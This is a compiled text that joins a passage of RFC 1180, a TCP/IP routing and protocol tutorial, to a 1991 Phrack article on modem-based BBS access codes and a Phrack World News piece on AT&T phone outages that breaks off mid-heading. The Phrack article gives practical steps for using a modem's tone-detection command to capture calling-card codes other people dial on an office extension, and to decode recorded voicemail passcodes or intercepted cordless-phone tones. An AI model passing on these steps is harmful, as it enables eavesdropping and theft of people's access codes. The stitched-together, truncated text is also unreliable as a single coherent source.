This routing of IP packets is done by IP modules and happens transparently to TCP, UDP, and the network applications.

If A sends an IP packet to E, the source IP address and the source Ethernet address are A's. The destination IP address is E's, but because A's IP module sends the IP packet to D for forwarding, the destination Ethernet address is D's.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|address source destination|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|IP header A E | |Ethernet header A D |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 6. Addresses in an Ethernet frame for an IP packet from A to E (before D)

D's IP module receives the IP packet and upon examining the destination IP address, says "This is not my IP address," and sends the IP packet directly to E.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|address source destination|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|IP header A E | |Ethernet header D E |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 7. Addresses in an Ethernet frame for an IP packet from A to E (after D)

In summary, for direct communication, both the source IP address and the source Ethernet address is the sender's, and the destination IP address and the destination Ethernet addrss is the recipient's. For indirect communication, the IP address and Ethernet addresses do not pair up in this way.

This example internet is a very simple one. Real networks are often complicated by many factors, resulting in multiple IP‑routers and several types of physical networks. This example internet might have come about because the network manager wanted to split a large Ethernet in order to localize Ethernet broadcast traffic.

5.3 IP Module Routing Rules

This overview of routing has shown what happens, but not how it happens. Now let's examine the rules, or algorithm, used by the IP module.

For an outgoing IP packet, entering IP from an upper layer, IP must decide whether to send the IP packet directly or indirectly, and IP must choose a lower network interface. These choices are made by consulting the route table.

For an incoming IP packet, entering IP from a lower interface, IP must decide whether to forward the IP packet or pass it to an upper layer. If the IP packet is being forwarded, it is treated as an outgoing IP packet.

When an incoming IP packet arrives it is never forwarded back out through the same network interface.

These decisions are made before the IP packet is handed to the lower interface and before the ARP table is consulted.

5.4 IP Address

The network manager assigns IP addresses to computers according to the IP network to which the computer is attached. One part of a 4byte IP address is the IP network number, the other part is the IP computer number (or host number). For the computer in table 1, with an IP address of 223.1.2.1, the network number is 223.1.2 and the host number is number 1.

The portion of the address that is used for network number and for host number is defined by the upper bits in the 4‑byte address. All example IP addresses in this tutorial are of type class C, meaning that the upper 3 bits indicate that 21 bits are the network number and 8 bits are the host number. This allows 2,097,152 class C networks up to 254 hosts on each network.

The IP address space is administered by the NIC (Network Information Center). All internets that are connected to the single world‑wide Internet must use network numbers assigned by the NIC. If you are setting up your own internet and you are not intending to connect it to the Internet, you should still obtain your network numbers from the NIC. If you pick your own number, you run the risk of confusion and chaos in the eventuality that your internet is connected to another internet.

5.5 Names

People refer to computers by names, not numbers. A computer called alpha might have the IP address of 223.1.2.1. For small networks, this name‑to‑address translation data is often kept on each computer in the "hosts" file. For larger networks, this translation data file is stored on a server and accessed across the network when needed. A few lines from that file might look like this:

223.1.2.1 alpha

223.1.2.2 beta

223.1.2.3 gamma

223.1.2.4 delta

223.1.3.2 epsilon

223.1.4.2 iota

The IP address is the first column and the computer name is the second column.

In most cases, you can install identical "hosts" files on all computers. You may notice that "delta" has only one entry in this file even though it has 3 IP addresses. Delta can be reached with any of its IP addresses; it does not matter which one is used. When delta receives an IP packet and looks at the destination address, it will recognize any of its own IP addresses.

IP networks are also given names. If you have 3 IP networks, your "networks" file for documenting these names might look something like this:

223.1.2 development

223.1.3 accounting

223.1.4 factory

The IP network number is in the first column and its name is in the second column.

From this example you can see that alpha is computer number 1 on the development network, beta is computer number 2 on the development network and so on. You might also say that alpha is development.1, Beta is development.2, and so on.

The above hosts file is adequate for the users, but the network manager will probably replace the line for delta with:

223.1.2.4 devnetrouter delta

223.1.3.1 facnetrouter

223.1.4.1 accnetrouter

These three new lines for the hosts file give each of delta's IP addresses a meaningful name. In fact, the first IP address listed has 2 names; "delta" and "devnetrouter" are synonyms. In practice "delta" is the general‑purpose name of the computer and the other 3 names are only used when administering the IP route table.

These files are used by network administration commands and network applications to provide meaningful names. They are not required for operation of an internet, but they do make it easier for us.

5.6 IP Route Table

How does IP know which lower network interface to use when sending out a IP packet? IP looks it up in the route table using a search key of the IP network number extracted from the IP destination address.

The route table contains one row for each route. The primary columns in the route table are: IP network number, direct/indirect flag, router IP address, and interface number. This table is referred to by IP for each outgoing IP packet.

On most computers the route table can be modified with the "route" command. The content of the route table is defined by the network manager, because the network manager assigns the IP addresses to the computers.

5.7 Direct Routing Details

To explain how it is used, let us visit in detail the routing situations we have reviewed previously.

‑‑‑‑‑‑‑‑‑

| alpha | | beta | | 1 | | 1 |

‑‑‑‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑oEthernet 1

IP network "development"

Figure 8. Close‑up View of One IP Network

The route table inside alpha looks like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|network direct/indirect flag router interface number|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|development direct <blank> 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 8. Example Simple Route Table

This view can be seen on some UNIX systems with the "netstat ‑r" command. With this simple network, all computers have identical routing tables.

For discussion, the table is printed again without the network number translated to its network name.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|network direct/indirect flag router interface number|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|223.1.2 direct <blank> 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 9. Example Simple Route Table with Numbers

5.8 Direct Scenario

Alpha is sending an IP packet to beta. The IP packet is in alpha's IP module and the destination IP address is beta or 223.1.2.2. IP extracts the network portion of this IP address and scans the first column of the table looking for a match. With this network a match is found on the first entry.

The other information in this entry indicates that computers on this network can be reached directly through interface number 1. An ARP table translation is done on beta's IP address then the Ethernet frame is sent directly to beta via interface number 1.

If an application tries to send data to an IP address that is not on the development network, IP will be unable to find a match in the route table. IP then discards the IP packet. Some computers provide a "Network not reachable" error message.

5.9 Indirect Routing Details

Now, let's take a closer look at the more complicated routing scenario that we examined previously.

‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

| alpha | | delta | |epsilon| | 1 | |1 2 3| | 1 |

‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

| | | |

‑‑‑‑‑‑‑‑o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑o‑ | ‑o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑o‑‑‑‑‑‑‑Ethernet 1 | Ethernet 2 IP network "Development" | IP network "accounting"

|

|

| iota |

| 1 |

|

|

‑‑o‑‑‑‑‑‑‑‑o‑‑‑‑‑‑‑‑

Ethernet 3

IP network "factory"

Figure 9. Close‑up View of Three IP Networks

The route table inside alpha looks like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|network direct/indirect flag router interface number|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|development direct <blank> 1 | |accounting indirect devnetrouter 1 | |factory indirect devnetrouter 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 10. Alpha Route Table

For discussion the table is printed again using numbers instead of names.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|network direct/indirect flag router interface number|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|223.1.2 direct <blank> 1 | |223.1.3 indirect 223.1.2.4 1 | |223.1.4 indirect 223.1.2.4 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 11. Alpha Route Table with Numbers

The router in Alpha's route table is the IP address of delta's connection to the development network.

5.10 Indirect Scenario

Alpha is sending an IP packet to epsilon. The IP packet is in alpha's IP module and the destination IP address is epsilon (223.1.3.2). IP extracts th network portion of this IP address (223.1.3) and scans the first column of the table looking for a match. A match is found on the second entry.

This entry indicates that computers on the 223.1.3 network can be reached through the IP‑router devnetrouter. Alpha's IP module then does an ARP table translation for devnetrouter's IP address and sends the IP packet directly to devnetrouter through Alpha's interface number 1. The IP packet still contains the destination address of epsilon.

The IP packet arrives at delta's development network interface and is passed up to delta's IP module. The destination IP address is examined and because it does not match any of delta's own IP addresses, delta decides to forward the IP packet.

Delta's IP module extracts the network portion of the destination IP address (223.1.3) and scans its route table for a matching network field. Delta's route table looks like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|network direct/indirect flag router interface number|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|development direct <blank> 1 | |factory direct <blank> 3 | |accounting direct <blank> 2 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 12. Delta's Route Table

Below is delta's table printed again, without the translation to names.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|network direct/indirect flag router interface number|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|223.1.2 direct <blank> 1 | |223.1.3 direct <blank> 3 | |223.1.4 direct <blank> 2 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TABLE 13. Delta's Route Table with Numbers

The match is found on the second entry. IP then sends the IP packet directly to epsilon through interface number 3. The IP packet contains the IP destination address of epsilon and the Ethernet destination address of epsilon.

The IP packet arrives at epsilon and is passed up to epsilon's IP module. The destination IP address is examined and found to match with epsilon's IP address, so the IP packet is passed to the upper protocol layer.

5.11 Routing Summary

When a IP packet travels through a large internet it may go through many IP‑routers before it reaches its destination. The path it takes is not determined by a central source but is a result of consulting each of the routing tables used in the journey. Each computer defines only the next hop in the journey and relies on that computer to send the IP packet on its way.

5.12 Managing the Routes

Maintaining correct routing tables on all computers in a large internet is a difficult task; network configuration is being modified constantly by the network managers to meet changing needs. Mistakes in routing tables can block communication in ways that are excruciatingly tedious to diagnose.

Keeping a simple network configuration goes a long way towards making a reliable internet. For instance, the most straightforward method of assigning IP networks to Ethernet is to assign a single IP network number to each Ethernet.

Help is also available from certain protocols and network applications. ICMP (Internet Control Message Protocol) can report some routing problems. For small networks the route table is filled manually on each computer by the network administrator. For larger networks the network administrator automates this manual operation with a routing protocol to distribute routes throughout a network.

When a computer is moved from one IP network to another, its IP address must change. When a computer is removed from an IP network its old address becomes invalid. These changes require frequent updates to the "hosts" file. This flat file can become difficult to maintain for even medium‑size networks. The Domain Name System helps solve these problems.

6. User Datagram Protocol

UDP is one of the two main protocols to reside on top of IP. It offers service to the user's network applications. Example network applications that use UDP are: Network File System (NFS) and Simple Network Management Protocol (SNMP). The service is little more than an interface to IP.

UDP is a connectionless datagram delivery service that does not guarantee delivery. UDP does not maintain an end‑to‑end connection with the remote UDP module; it merely pushes the datagram out on the net and accepts incoming datagrams off the net.

UDP adds two values to what is provided by IP. One is the multiplexing of information between applications based on port number. The other is a checksum to check the integrity of the data.

6.1 Ports

How does a client on one computer reach the server on another?

The path of communication between an application and UDP is through UDP ports. These ports are numbered, beginning with zero. An application that is offering service (the server) waits for messages to come in on a specific port dedicated to that service. The server waits patiently for any client to request service.

For instance, the SNMP server, called an SNMP agent, always waits on port 161. There can be only one SNMP agent per computer because there is only one UDP port number 161. This port number is well known; it is a fixed number, an internet assigned number. If an SNMP client wants service, it sends its request to port number 161 of UDP on the destination computer.

When an application sends data out through UDP it arrives at the far end as a single unit. For example, if an application does 5 writes to the UDP port, the application at the far end will do 5 reads from the UDP port. Also, the size of each write matches the size of each read.

UDP preserves the message boundary defined by the application. It never joins two application messages together, or divides a single application message into parts.

6.2 Checksum

An incoming IP packet with an IP header type field indicating "UDP" is passed up to the UDP module by IP. When the UDP module receives the UDP datagram from IP it examines the UDP checksum. If the checksum is zero, it means that checksum was not calculated by the sender and can be ignored. Thus the sending computer's UDP module may or may not generate checksums. If Ethernet is the only network between the 2 UDP modules communicating, then you may not need checksumming. However, it is recommended that checksum generation always be enabled because at some point in the future a route table change may send the data across less reliable media.

If the checksum is valid (or zero), the destination port number is examined and if an application is bound to that port, an application message is queued for the application to read. Otherwise the UDP datagram is discarded. If the incoming UDP datagrams arrive faster than the application can read them and if the queue fills to a maximum value, UDP datagrams are discarded by UDP. UDP will continue to discard UDP datagrams until there is space in the queue.

7. Transmission Control Protocol

TCP provides a different service than UDP. TCP offers a connectionoriented byte stream, instead of a connectionless datagram delivery service. TCP guarantees delivery, whereas UDP does not.

TCP is used by network applications that require guaranteed delivery and cannot be bothered with doing time‑outs and retransmissions. The two most typical network applications that use TCP are File Transfer Protocol (FTP) and the TELNET. Other popular TCP network applications include X‑Window System, rcp (remote copy), and the rseries commands. TCP's greater capability is not without cost: it requires more CPU and network bandwidth. The internals of the TCP module are much more complicated than those in a UDP module.

Similar to UDP, network applications connect to TCP ports. Welldefined port numbers are dedicated to specific applications. For instance, the TELNET server uses port number 23. The TELNET client can find the server simply by connecting to port 23 of TCP on the specified computer.

When the application first starts using TCP, the TCP module on the client's computer and the TCP module on the server's computer start communicating with each other. These two end‑point TCP modules contain state information that defines a virtual circuit. This virtual circuit consumes resources in both TCP end‑points. The virtual circuit is full duplex; data can go in both directions simultaneously. The application writes data to the TCP port, the data traverses the network and is read by the application at the far end.

As with all sliding window protocols, the protocol has a window size. The window size determines the amount of data that can be transmitted before an acknowledgement is required. For TCP, this amount is not a number of TCP segments but a number of bytes.

8. Network Appliations

Why do both TCP and UDP exist, instead of just one or the other?

They supply different services. Most applications are implemented to use only one or the other. You, the programmer, choose the protocol that best meets your needs. If you need a reliable stream delivery service, TCP might be best. If you need a datagram service, UDP might be best. If you need efficiency over long‑haul circuits, TCP might be best. If you need efficiency over fast networks with short latency, UDP might be best. If your needs do not fall nicely into these categories, then the "best" choice is unclear. However, applications can make up for deficiencies in the choice. For instance if you choose UDP and you need reliability, then the application must provide reliability. If you choose TCP and you need a record oriented service, then the application must insert markers in the byte stream to delimit records.

What network aplications are available?

There are far too many to list. The number is growing continually. Some of the applications have existed since the beginning of internet technology: TELNET and FTP. Others are relatively new: X‑Windows and SNMP. The following is a brief description of the applications mentioned in this tutorial.

8.1 TELNET

TELNET provides a remote login capability on TCP. The operation and appearance is similar to keyboard dialing through a telephone switch. On the command line the user types "telnet delta" and receives a login prompt from the computer called "delta".

TELNET works well; it is an old application and has widespread interoperability. Implementations of TELNET usually work between different operating systems. For instance, a TELNET client may be on VAX/VMS and the server on UNIX System V.

8.2 FTP

File Transfer Protocol (FTP), as old as TELNET, also uses TCP and has widespread interoperability. The operation and appearance is as if you TELNETed to the remote computer. But instead of typing your usual commands, you have to make do with a short list of commands for directory listings and the like. FTP commands allow you to copy files between computers.

8.3 rsh

Remote shell (rsh or remsh) is one of an entire family of remote UNIX style commands. The UNIX copy command, cp, becomes rcp. The UNIX "who is logged in" command, who, becomes rwho. The list continues and is referred to collectively to as the "r" series commands or the "r*" (r star) commands.

The r* commands mainly work between UNIX systems and are designed for interaction between trusted hosts. Little consideration is given to security, but they provide a convenient user environment.

To execute the "cc file.c" command on a remote computer called delta, type "rsh delta cc file.c". To copy the "file.c" file to delta, type "rcp file.c delta:". To login to delta, type "rlogin delta", and if you administered the computers in a certain wa, you will not be challenged with a password prompt.

8.4 NFS

Network File System, first developed by Sun Microsystems Inc, uses UDP and is excellent for mounting UNIX file systems on multiple computers. A diskless workstation can access its server's hard disk as if the disk were local to the workstation. A single disk copy of a database on mainframe "alpha" can also be used by mainframe "beta" if the database's file system is NFS mounted commands to use the NFS mounted disk as if it were local disk.

8.5 SNMP

Simple Network Management Protocol (SNMP) uses UDP and is designed for use by central network management stations. It is a well known fact that if given enough data, a network manager can detect and diagnose network problems. The central station uses SNMP to collect this data from other computers on the network. SNMP defines the format for the data; it is left to the central station or network manager to interpret the data.

8.6 X‑Window

The X Window System uses the X Window protocol on TCP to draw windows on a workstation's bitmap display. X Window is much more than a utility for drawing windows; it is entire philosophy for designing a user interface.

9. Other Information

Much information about internet technology was not included in this tutorial. This section lists information that is considered the next level of detail for the reader who wishes to learn more.

o administration commands: arp, route, and netstat o ARP: permanent entry, publish entry, time‑out entry, spoofing o IP route table: host entry, default gateway, subnets o IP: time‑to‑live counter, fragmentation, ICMP

o RIP, routing loops

o Domain Name System

10. References

[1] Comer, D., "Internetworking with TCP/IP Principles, Protocols, and Architecture", Prentice Hall, Englewood Cliffs, New Jersey, U.S.A., 1988.

[2] Feinler, E., et al, DDN Protocol Handbook, Volume 2 and 3, DDN Network Information Center, SRI International, 333 Ravenswood Avenue, Room EJ291, Menlow Park, California, U.S.A., 1985.

[3] Spider Systems, Ltd., "Packets and Protocols", Spider Systems Ltd., Stanwell Street, Edinburgh, U.K. EH6 5NG, 1990.

11. Relation to other RFCs

This RFC is a tutorial and it does not UPDATE or OBSOLETE any other RFC.

12. Security Considerations

There are security considerations within the TCP/IP protocol suite. To some people these considerations are serious problems, to others they are not; it depends on the user requirements. This tutorial does not discuss these issues, but if you want to learn more you should start with the topic of ARP‑spoofing, then use the "Security Considerations" section of RFC 1122 to lead you to more information.

13. Authors' Addresses

Theodore John Socolofsky

EMail: TEDS@SPIDER.CO.UK

Claudia Jeanne Kale

EMail: CLAUDIAK@SPIDER.CO.UK

Note: This info taken from RFC‑1180.

Advanced Modem-Oriented BBS Security

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #9 of 11

._._._._._._._._._._._._._

!

! Advanced Modem‑Oriented BBS Security !

!

! By Laughing Gas and Dead Cow !

!

! Written Exclusively for PHRACK 8/22/91 !

!_._._._._._._._._._._._._

* Introduction =‑= Things you need to know *

This is an introduction and guide to setting up your BBS and modem so that a caller must know a certain code and append it to his dialing string in order to access the BBS. This lets you have yet another way (besides newuser passwords, etc) to lock out unwanted callers.

You can also set a certain pattern for your board's numerical code based on the day or the month or something, and distribute this pattern instead of having to distribute the access code.

You must have an intelligent modem to be able to run a board which requires the access method I'm going to be discussing in this file. However you don't need an intelligent modem to be able to call the same board, but you do have to enter the code manually if you do not have an intelligent modem. (So only certain people can run a board with this method of access control, but >almost< anyone can call one.)

All modem commands in this manual will be hayes 'AT' style commands, and some may be available only to USRobotics Courier modems with v.42bis, or certain other intelligent modems. If you can't get it to work with your modem, your modem may not be able to do it, but try looking in your modem manual, just in case.

NOTE: The ONLY modem that this method has been tested with is a USRobotics Courier HST modem, (the new kind) with the v.42bis. I tested it with my modem which is an older HST (14.4, but no v.42bis) and it did NOT accept the AT%T command (it returned "ERROR"). Check page 83 of your HST manual for more info, or type AT%$ for on‑line help from the modem firmware. (about as helpful as the manual, and neither are very detailed.)

Things to know:

ATDT1234567; This command causes your modem to dial 1234567 and then return to command mode. ATDT1234567@1; This command causes your modem to dial 1234567, wait for an answer, dial 1 and return to command mode. |‑‑‑‑‑> AT%T This command causes every tone that goes into the modem | to be identified and followed with a 0.

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ This is the key to the whole enchilada.

Alternate commands may be available depending on your modem type.

* Concept =‑= How‑To

The concept for the bbs access code would be as follows.

The caller dials the number to the BBS, when the BBS picks up, it sends a digit, then the caller sends a responding set of digits. If the digits which the caller sends match the access code for the BBS, the BBS will send an answer tone and the caller's modem will acknowledge and connection.

How it works is like this:

(Sample Transcript)

CALLER> ATDT1234567@234

BBS> RING

BBS> ATDT1;

BBS> OK

BBS> AT%T

BBS> 203040

BBS> ATA

What happens is the caller dials 1234567 (the number of the BBS) the '@' tells the callers modem to wait for a result (which is received when the BBS gets a ring and sends a 1) then the callers modem dials 234 (the access code) after

the BBS sent the '1' it got a OK so it sent a AT%T which told it to monitor tones. This command returned "203040" which is 234 followed by 0's (the format of the output of AT%T) the BBS software would have to watch for this string. Since 234 was the right code, the board sent an ATA which would connect the caller since it's dial command was still open. If 234 hadn't been the code, then the BBS would have sent a ATH0.

* Manual Dialing =‑= Lame modems *

Anyway, if you don't have a modem that does the AT%T or ATDT1; commands you CANNOT run a BBS with this type of security, unless your modem has EQUIVALENT commands, or you can figure out a way to do it with the commands your modem has. The toughest part is the reading of tones, which, as far as I know, is unique to the HST/Courier modems.

However, if your modem does not do the ATDT1@1 thing, then you can PROBABLY still call a board using this security. This is assuming you can just send a "dial command" to your modem without a number (ie ATD on an HST.) What you do is dial the BBS number manually, then you'll here a beep, you dial the code, then send the dial command to your modem and put the phone down. This should connect you in the same fashion.. (ie..)

CALLER> manually dials BBS

BBS> ATDT1;

CALLER> hears beep and dials 234, then sends ATD to his modem and puts the phone down.

BBS> OK

BBS> AT%T

BBS> 203040

BBS> ATA

CALLER> his modem connects.

* Bells and Whistles =‑= Wrapping It Up *

Your options when using this type of security. There are many different things you can do.

Method #1: You can say "Hey, the access code for my board is 234" and give that to the people you want to call.

Method #2: Set a pattern for your access codes. Say, the date (ie, for today, 8‑22‑91 the code would be 082291), or you could get more complex (add one to each digit, run it through an algorithm, etc)

Method #3: Distribute a program that generates the code based on the day, the month, what have you. (However this is only a solution if you can either distribute a program like this to EVERY type of operating system, or you only want callers from one operating system (or several, the only ones you can produce it for..)

Method #4: Have the BBS accept several codes, and give out different code to each class of users (say, newusers to apply = 1234, validated = 2345, elite = 3456) or something like that, this would allow for control of who calls when, as well as logging of call class frequency, etc.

Method #5: Have a specific code for each user. This would take a lot of maintenance, but would provide for a VERY secure BBS environment. This would allow the same advantages above as well (logging, freq. etc).

Things to keep in mind however are if you have an access code generated by a program or by the date, etc. you have to change the code whenever the program would.

An interesting side note here is that the AT%T command can be used to call a COCOT (private payfone) and record the tones, or possibly to record codes other people entered, etc. (Ie, bring your laptop with modem to a office, attach it to an extension and wait for a person to pick up, issue the ATD; command right away, then AT%T command. If the person dials a 950, you should get something like

90500010003030 (pause) 203040506070

that is assuming the code is 234567. Congratulations, you now have their code. The modem can recognize the dtmf tones for 0‑9, *, #, and the silver box tones A, B, C, and E. I'm sure other interesting uses for this feature can be found, and I'd love to hear from the other people out there in the h/p world. I'm sure a lot of you have seen me around, for those that haven't I can be reached on my board, Solsbury Hill or Ripco (312) or on Internet as lgas@doomsday.spies.com.

(Note: Spies is down as of this writing, I have some other accounts, but I'd prefer that most of them remain unknown... if anyone wants to offer me an account I can use just for mail where I can have my alias for the account name, on a stable system, please contact me.)

* Non‑BBS Oriented Stuff =‑= Conclusion *

In some issue of 2600 magazine someplace at some time they published an article on how to build a tone detection device: Now you have your own, built in to the modem.

An example application of this "in the field" would be calling a COCOT and using the modem to decipher the tones. That would be done:

ATDT3014283268; ;call the COCOT

AT%T ;get tones

it should respond with the decoded tones.

You could fool around with it and get it to accept input from a tape recorder, this gives you a way to decipher recorded VMB passcodes, or phone numbers, or anything else that was recorded as it was dialed. Or use it with a radio scanner set to scan the freqs that cordless fones operate on, and record those tones. Then play 'em back into the modem and they're yours.

In conclusion... (ahem).. This is an area which I believe has never been breached before, and this idea was brought to you by THUGS. As long as technology keeps advancing, we'll be here to bring you the latest tricks such as this one. Please contact me if you have any information about this area (tone detection via modem, or anything relating to it at all..) especially if you know of modems besides the v.42bis models of USRobotic's HSTs that can do this.

Laughing Gas

Solsbury Hill BBS (301‑428‑3268)

PWN/Part01

==Phrack Inc.==

Volume Three, Issue Thirty‑Four, File #10 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIV / Part One PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

What We Have Got Here Today is Failure to Communicate

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Editors Comment: Dispater

With hundreds, maybe thousands of lives at stake, three airports in New York had to shut down due to a long distance carrier failing. It is absolutely amazing how irresponsible these services were to rely on only on form of communication. Where was the back up system? This incident might not have happened it they would have had an alternative carrier or something as simple as two way radios.

Many people are running around these days screaming about how irresponsible AT&T was. The real problem lyes with people in our society failing to take the time to learn fundamental aspects of the common technology.

It is also a shame that the people "in control" were incapable of using something as simple as a "port" to dial through another extender. This is the kind of thing that happens when people choose to isolate themselves from the technological society we have today.

What follows is a compilation of several articles dealing with AT&T long distance carrier failures.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Thank You for abUsing AT&T October 18, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~

by Kimberly Hayes Taylor and Steve Marshall (USA Today "Phone Failure Stalls Air Traffic Disruption in N.Y. Felt Nationwide")

Air traffic in and out of New York City resumed late Tuesday after a phone‑service failure virtually shut down three airports for almost four hours. Hundreds of flights coast to coast were delayed or canceled when controllers at John F. Kennedy, La Guardia and Newark (New Jersey) airports lost the link that allows communication among themselves or with other U.S. airports. Communications between pilots and air‑traffic controllers travel over telephone lines to ground‑based radio equipment. AT&T spokesman Herb Linnen blamed an internal power failure in a long‑distance switching office in Manhattan. Hours after the 4:50 PM EDT failure, 40 planes loaded with passengers were sitting on the runway at Kennedy, 35 at Newark, 30 at La Guardia. "During the height of the thing, at least 300 aircraft were delayed at metropolitan airports," said Bob Fulton, a spokesperson for the Federal Aviation Administration. Included: flights taking off "from California to Florida" and headed for New York, said FAA's Fred Farrar. Farrar said planes had to be grounded for safety. Without telephone communication, they would "fly willy‑nilly." Among diverted flights: a British Airways supersonic Concorde from London, which landed at Bradley airport outside Hartford, Conn. Passenger reaction: at Washington's National Airport, Dominique Becoeur of Paris was "reading, drinking, and thinking" while waiting for a flight to New York. At La Guardia, Ernie Baugh, of Chattanooga, Tenn., said, "I think I will go and have another beer." Flights were reported resuming by 9 p.m. EDT. Linnen said AT&T was busy Tuesday night restoring long‑distance service in and out of New York City, which had been interrupted. Some international service also had been affected.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

AT&T's Hang Ups October 19, 1991

~~~~~~~~~~~~~~

By John Schneidawind (USA Today ‑ "The Big Hang‑Up Phone Crash Grounds Airplanes, Raises Anger")

The Federal Administration Aviation has some good news for travelers who were stranded at airports, or delayed for hours, the past two days by the New York City telephone outage. If a similar phone disaster strikes next month, hardly any fliers will know the difference. That's because AT&T is close to completing installation of a network of microwave dishes that will supplement, if not replace, the phone lines AT&T uses to relay calls between air‑traffic controllers in different cities. Tuesday evening, flights in and out of some of the nation's busiest airports ‑ Kennedy, La Guardia, and Newark, N.J. ‑ were grounded because FAA controllers couldn't communicate with one another. For much of the 1980's, land‑based fiber optic lines have been slowly replacing microwave phone dishes phone companies long have used to transmit telephone calls. That's because fiber‑optic wires were thought to provide clearer calls than microwave technology. Now, it's becoming apparent that sending some or most telephone calls via wireless microwave might ease the burden handled by fiber‑optic cables. In addition, a microwave call could be transmitted point‑to‑point, bypassing an inoperative switching center when a breakdown or catastrophe occurs.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Maker Says Tiny Software Flaw Caused Phone Disruptions

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Edmund L Andrews (New York Times)

WASHINGTON ‑‑ A manufacturer of telephone call‑routing computers said that a defect in three or four lines of computer code, rather than a hacker or a computer "virus," appeared to be the culprit behind a mysterious spate of breakdowns that disrupted local telephone service for 10 million customers around the country in late June and early this month.

In congressional testimony Tuesday, an official of the manufacturer, DSC Communications of Plano, Texas, said all the problems had been traced to recent upgrades in its software, which had not been thoroughly tested for hidden "bugs."

Although the telephone companies that experienced failures were using slightly different versions of the software, the company said, each version was infected with the flaw. "Our equipment was without question a major contributor to the disruptions," Frank Perpiglia, DSC's vice president for technology and product development, told the House telecommunications subcommittee. "We must be forthright in accepting responsibility for failure."

Officials at both DSC and the regional Bell companies said they could not entirely rule out the possibility of sabotage, but said the evidence points strongly to unintentional errors. The flaws caused the computers to send a flood of erroneous messages when the computer encountered routine maintenance problems.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

TELEPHONE TECHNOLOGY QUESTIONED AFTER FAILURES

